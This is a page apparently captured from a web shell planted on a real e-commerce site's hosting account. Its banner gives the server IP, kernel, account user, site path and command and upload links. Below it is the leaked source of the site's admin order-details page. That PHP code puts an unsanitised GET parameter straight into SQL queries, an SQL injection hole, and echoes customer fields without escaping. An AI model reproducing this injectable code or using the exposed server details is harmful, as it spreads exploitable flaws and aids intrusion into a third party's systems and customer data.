|
Server IP : 2a02:4780:11:1596:0:cbc:26e7:10 / Your IP : 216.73.216.78 Web Server : LiteSpeed System : Linux in-mum-web1496.main-hosting.eu 5.14.0-611.38.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 10 17:21:28 EDT 2026 x86_64 User : u213657319 ( 213657319) PHP Version : 8.3.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u213657319/domains/neoriseventures.in/public_html/admin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
if(!isset($_SESSION['admin_email'])){
echo "<script>window.open('login.php','_self')</script>";
}
else {
?>
<?php
if(isset($_GET['view_order_details'])){
$edit_id = $_GET['view_order_details'];
$get_p = "select * from customer_order where order_id='$edit_id'";
$run_edit = mysqli_query($con,$get_p);
$row_orders = mysqli_fetch_array($run_edit);
$order_id = $row_orders['order_id'];
$c_id = $row_orders['customer_id'];
$invoice_no = $row_orders['invoice_no'];
$product_id = $row_orders['product_id'];
$qty = $row_orders['qty'];
$size = $row_orders['size'];
$order_date = $row_orders['order_date'];
$due_amount = $row_orders['due_amount'];
$order_status = $row_orders['order_status'];
$delivery_address = $row_orders['delivery_address'];
$payment_id = $row_orders['payment_id'];
$get_products = "select * from products where product_id='$product_id'";
$run_products = mysqli_query($con,$get_products);
$row_products = mysqli_fetch_array($run_products);
$product_title = $row_products['product_title'];
$product_img1 = $row_products['product_img1'];
$product_desc = $row_products['product_desc'];
$get_customer = "select * from customers where customer_id='$c_id'";
$run_customer = mysqli_query($con,$get_customer);
$row_customer = mysqli_fetch_array($run_customer);
$customer_email = $row_customer['customer_email'];
$customer_contact = $row_customer['customer_contact'];
$customer_add = $row_customer['customer_add'];
$customer_name = $row_customer['customer_name'];
}
?>
<div class="row"><!-- 2 row Starts -->
<div class="col-lg-12"><!-- col-lg-12 Starts -->
<div class="panel panel-default"><!-- panel panel-default Starts -->
<div class="panel-heading"><!-- panel-heading Starts -->
<h3 class="panel-title"><!-- panel-title Starts -->
<i class="fa fa-money fa-fw"></i> View Orders
</h3><!-- panel-title Ends -->
</div><!-- panel-heading Ends -->
<div class="panel-body"><!-- panel-body Starts -->
<div class="table-responsive"><!-- table-responsive Starts -->
<table class="table table-bordered table-hover table-striped"><!-- table table-bordered table-hover table-striped Starts -->
<tr>
<th>Customer Name:</th>
<td><?php echo "$customer_name"; ?></td>
</tr><tr>
<th>Customer Email:</th>
<td><?php echo "$customer_email"; ?></td>
</tr><tr>
<th>Invoice No:</th>
<td bgcolor="yellow"><?php echo "$invoice_no"; ?></td>
</tr><tr>
<th>payment Id:</th>
<td bgcolor="yellow"><?php echo "$payment_id"; ?></td>
</tr><tr>
<th>Product Title:</th>
<td><?php echo "$product_title"; ?></td>
</tr><tr>
<th>Product Qty:</th>
<td><?php echo "$qty"; ?></td>
</tr><tr>
<th>Product Size:</th>
<td><?php echo "$size"; ?></td>
</tr><tr>
<th>Order Date:</th>
<td><?php echo "$order_date"; ?></td>
</tr><tr>
<th>Total Amount:</th>
<td><?php echo "$due_amount"; ?></td>
</tr><tr>
<th>Order Status:</th>
<td><?php echo "$order_status"; ?></td>
</tr><tr>
<th>Customer Number:</th>
<td><?php echo "$customer_contact"; ?></td>
</tr><tr>
<th>Delivery Address:</th>
<td><?php echo "$delivery_address"; ?></td></tr><tr>
<th>Customer Address:</th>
<td><?php echo "$customer_add"; ?></td>
</tr><tr>
<th>Product Image:</th>
<td> <img src="product_images/<?php echo "$product_img1"; ?>" height="70px" width="100px"> </td>
</tr><tr>
<th>Product Description:</th>
<td><?php echo "$product_desc"; ?></td>
</tr>
</table><!-- table table-bordered table-hover table-striped Ends -->
</div><!-- table-responsive Ends -->
</div><!-- panel-body Ends -->
</div><!-- panel panel-default Ends -->
</div><!-- col-lg-12 Ends -->
</div><!-- 2 row Ends -->
<?php } ?>